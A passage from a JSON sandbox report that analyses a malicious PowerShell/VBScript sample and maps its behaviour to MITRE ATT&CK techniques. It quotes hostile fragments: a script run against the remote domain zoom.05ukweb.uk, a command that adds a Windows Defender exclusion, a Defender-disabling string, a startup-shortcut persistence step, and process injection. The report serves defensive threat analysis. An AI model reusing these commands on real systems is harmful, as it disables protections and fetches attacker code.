bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 3148)\n \"powershell.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 3148)","id":"api-0","level":"suspicious","mitre_attack_id":"T1055","name":"Writes data to a remote process","origin":"API Call","relevance":6,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp\")\n Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-550","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to find and load resources of specific modules (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-143","level":"informative","mitre_attack_id":"T1614.001","name":"Able to retrieve system language (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"Spawned process \"wscript.exe\" with commandline \"%TEMP%\\\\oklnkae.vbs zoom.05ukweb.uk/ft 1\" (UID: 00000000-00005276)\n Spawned process \"wscript.exe\" with commandline \"%TEMP%\\\\oklnkae.vbs zoom.05ukweb.uk/ft 2\" (UID: 00000000-00003076)","id":"target-25","level":"informative","mitre_attack_id":"T1057","name":"Spawns new processes","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$31","id":"api-12","level":"informative","mitre_attack_id":"T1012","name":"Monitors specific registry key for changes","origin":"API Call","relevance":4,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006036-00000C2C-2952505582\")\n Found string \"OpenProcessTokenW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006036-00000C2C-2954150204\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006036-00000C2C-2954150697\")\n Found string \"OpenProcessW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006036-00000C2C-2954150721\")","id":"string-729","level":"informative","mitre_attack_id":"T1489","name":"Able to retrieve/open a process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006036-00000C2C-2953971200\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006036-00000C2C-2954402362\")","id":"string-659","level":"informative","mitre_attack_id":"T1497.001","name":"Able to identify virtual environment by using API string","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006036)","id":"api-124","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to get product type","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","id":"registry-35","level":"informative","mitre_attack_id":"T1082","name":"Reads the active computer name","origin":"Registry Access","relevance":5,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at E6870000","id":"module-7","level":"informative","mitre_attack_id":"T1620","name":"Loads the CLR Loader DLL","origin":"Loaded Module","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp\")","id":"string-86","level":"informative","mitre_attack_id":"T1082","name":"Able to discover operating system information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp\")","id":"string-748","level":"informative","mitre_attack_id":"T1562.001","name":"Contains ability to disable Windows Defender using PowerShell","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP\n Matched sigs: Calls an API typically used to decrypt a block of data\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Calls an API typically used to import cryptographic keys into a CSP\n Matched sigs: Calls an API typically used to encrypt a block of data\n Matched sigs: HTTP requests contain Base64 strings","id":"summary-28","level":"informative","mitre_attack_id":"T1027","name":"Shows ability to obfuscate file or information","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 13400000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 12E90000\n \"wscript.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 13400000\n \"wscript.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 12E90000","id":"module-9","level":"informative","mitre_attack_id":"T1027","name":"Loads the Bcrypt module DLL","origin":"Loaded Module","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"$32","id":"string-3","level":"informative","mitre_attack_id":"T1071","name":"Found potential URL in binary/memory","origin":"File/Memory","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"file/memory contains long string with (Indicator: \"add-mppreference\"; File: \"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin\")\n Found reference string \"Add-MpPreference -ExclusionPath \"C:\\Users\"\" (Indicator: \"add-mppreference\"; File: \"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin\")","id":"string-980","level":"informative","mitre_attack_id":"T1562.001","name":"Able to modify Windows Defender exclusions (Powershell command string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$33","id":"api-222","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve OS information","origin":"API Call","relevance":2,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"Short term registered certificate: \"zoom.05ukweb.uk\" (89 days old)","id":"certificate-3","level":"informative","mitre_attack_id":"T1583.001","name":"Short-term SSL certificate detected","origin":"Certificate Data","relevance":5,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-427","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve a module handle (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00006036-00000C2C-2954348262\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00006036-00000C2C-2954348285\")\n Found reference to API \"SendMessageA\" (Indicator: \"sendmessage\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"PostMessageA\" (Indicator: \"postmessage\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-721","level":"informative","mitre_attack_id":"T1055.015","name":"Able to visualize and control listed components (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-345","level":"informative","mitre_attack_id":"T1112","name":"Contains ability to disable/close registry key (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","id":"api-108","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve information about the current system","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"$34","id":"registry-136","level":"informative","mitre_attack_id":"T1112","name":"Writes registry keys","origin":"Registry Access","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Destruction","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF3cb6d8.TMP\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_cy4qidx5.z50.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_prcwrtqm.x2p.psm1\" for deletion\n \"wscript.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\onedrive.lnk\" for deletion","id":"api-26","level":"suspicious","mitre_attack_id":"T1070.004","name":"Marks file for deletion","origin":"API Call","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"HTTPS traffic to \"45.61.129.29\" on port \"443\"","id":"network-38","level":"informative","mitre_attack_id":"T1573","name":"Uses HTTPS for communication","origin":"Network Traffic","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-310","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to load modules (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"wscript.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","id":"registry-67","level":"informative","mitre_attack_id":"T1543.003","name":"Creates or modifies windows services","origin":"Registry Access","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"file/memory contains long string with (Indicator: \"Out-File\"; File: \"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin\")\n Found string \"$response.Content | Out-File -FilePath $vbsPath\" (Indicator: \"Out-File\"; File: \"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin\")","id":"string-373","level":"informative","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Remote Access Related","description":"$35","id":"string-30","level":"suspicious","mitre_attack_id":"T1047","name":"Contains references to WMI/WMIC","origin":"File/Memory","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"oklnkae.vbs\" has type \"Algol 68 source Unicode text UTF-16 little-endian text with CRLF LF line terminators\"- Location: [%TEMP%\\oklnkae.vbs]- [targetUID: 00000000-00003076]\n \"onedrive.lnk\" has type \"MS Windows shortcut Item id list present Has Relative path Has command line arguments Unicoded KnownFolderID 1AC14E77-02E7-4E5D-B744-2EB1AE5198B7 length=0 window=normal IDListSize 0x0141 Root folder \"20D04FE0-3AEA-1069-A2D8-08002B30309D\" Volume \"C:\\\"\"- Location: [%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\onedrive.lnk]- [targetUID: 00000000-00003076]\n \"StartupProfileData-NonInteractive\" has type \"data\"- Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00006036]","id":"binary-0","level":"informative","mitre_attack_id":"T1105","name":"Dropped files","origin":"Binary File","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$36","id":"string-507","level":"informative","mitre_attack_id":"T1082","name":"References to WMI query strings used for information discovery","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" opens a process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 00000000-00006036)\n \"powershell.exe\" opens a process \"C:\\Windows\\explorer.exe\" (UID: 00000000-00006036)","id":"api-284","level":"informative","mitre_attack_id":"T1489","name":"Opens a handle to the specified local process","origin":"API Call","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"$37","id":"mutant-0","level":"informative","mitre_attack_id":"T1480","name":"Creates mutants","origin":"Created Mutant","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00006036)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00006036)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00006036)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00006036)","id":"api-140","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to find a resource in a module","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found string - \\\\.\\root\\CIMV2; Source: \"00000000-00003076.00000000.255416.762F0000.00000004.mdmp\")\n Found string - te}!\\\\.\\root\\cimv2; Source: \"00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.7A01D000.00000004.mdmp\")\n Found string - \\\\.\\root\\cimv2; Source: \"00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp\")\n Found string - \\\\.\\root\\CIMV2; Source: \"00000000-00005276.00000000.255414.E4C10000.00000004.mdmp\")\n Found string - \\\\.\\root\\cimv2; Source: \"00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E8880000.00000004.mdmp\")","id":"string-145","level":"informative","mitre_attack_id":"T1564","name":"Found virtual disk drive like strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00006036)","id":"api-152","level":"informative","mitre_attack_id":"T1010","name":"Calls an API typically used to enumerate active windows","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"MoveFile\" (Indicator: \"MoveFile\"; Source: \"00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.4ED30000.00000002.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp\")\n Found reference to API \"MoveFile\" (Indicator: \"MoveFile\"; Source: \"00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp\")","id":"string-322","level":"informative","mitre_attack_id":"T1570","name":"Contains ability to move file or directory (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-319","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to set/get the last-error code for a calling thread (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify sandbox environment running process\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Triggers a burst of requests to the same API (API Hammering)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Able to detect virtual machine (string)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","id":"summary-29","level":"informative","mitre_attack_id":"T1480","name":"Shows ability to use execution guardrails","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00006036-00000C2C-2957895675\")\n file/memory contains long string with (Indicator: \" connect \"; Source: \"00000000-00003076.00000002.259256.4ED30000.00000002.mdmp\")","id":"string-899","level":"informative","mitre_attack_id":"T1071","name":"Contains references to network communication API (string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"45.61.129.29:443\"","id":"network-1","level":"informative","mitre_attack_id":"T1071","name":"Contacts server","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$38","id":"api-228","level":"informative","mitre_attack_id":"T1027","name":"Calls an API typically used to acquire handle to a key container within a CSP","origin":"API Call","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"Spawned process \"wscript.exe\" with commandline \"%TEMP%\\\\oklnkae.vbs zoom.05ukweb.uk/ft 1\" (UID: 00000000-00005276)\n Spawned process \"wscript.exe\" with commandline \"%TEMP%\\\\oklnkae.vbs zoom.05ukweb.uk/ft 2\" (UID: 00000000-00003076)","id":"target-103","level":"informative","mitre_attack_id":"T1057","name":"Spawns new processes that are not known child processes","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"wscript.exe\" called \"NtQueueApcThread\" (UID: 00000000-00005276)\n \"wscript.exe\" called \"NtQueueApcThread\" (UID: 00000000-00003076)","id":"api-85","level":"informative","mitre_attack_id":"T1055.004","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-205","level":"informative","mitre_attack_id":"T1497.003","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp\")","id":"string-82","level":"informative","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"$39","id":"string-308","level":"informative","mitre_attack_id":"T1070.004","name":"Contains ability to delete files/directories (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$3a","id":"string-201","level":"informative","mitre_attack_id":"T1614","name":"Able to query system locale information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" called \"OpenSCManagerW\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","id":"api-77","level":"informative","mitre_attack_id":"T1569.002","name":"Opened the service control manager","origin":"API Call","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\")","id":"registry-19","level":"informative","mitre_attack_id":"T1112","name":"Modifies Software Policy Settings","origin":"Registry Access","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","id":"registry-36","level":"informative","mitre_attack_id":"T1012","name":"Queries sensitive IE security settings","origin":"Registry Access","relevance":8,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\B8QJI8J4JJB1PCN9I2I1.TEMP\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\B8QJI8J4JJB1PCN9I2I1.temp\"\n \"powershell.exe\" trying to touch file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF3cb6d8.TMP\"\n \"wscript.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini\"","id":"api-169","level":"informative","mitre_attack_id":"T1083","name":"Tries to access recent files","origin":"API Call","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\".skype.com1&0\" (Indicator: \"skype.com\")\n \"community-stage.skype.com1\" (Indicator: \"skype.com\")","id":"string-61","level":"suspicious","name":"Found an instant messenger related domain","origin":"File/Memory","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"$3b","id":"api-7","level":"informative","mitre_attack_id":"T1129","name":"Loads modules at runtime","origin":"API Call","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"$3c","id":"api-9","level":"informative","mitre_attack_id":"T1057","name":"Queries process information","origin":"API Call","relevance":4,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-365","level":"informative","mitre_attack_id":"T1029","name":"Contains ability to perform scheduled transfer (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$3d","id":"api-11","level":"informative","mitre_attack_id":"T1082","name":"Queries volume information","origin":"API Call","relevance":2,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: 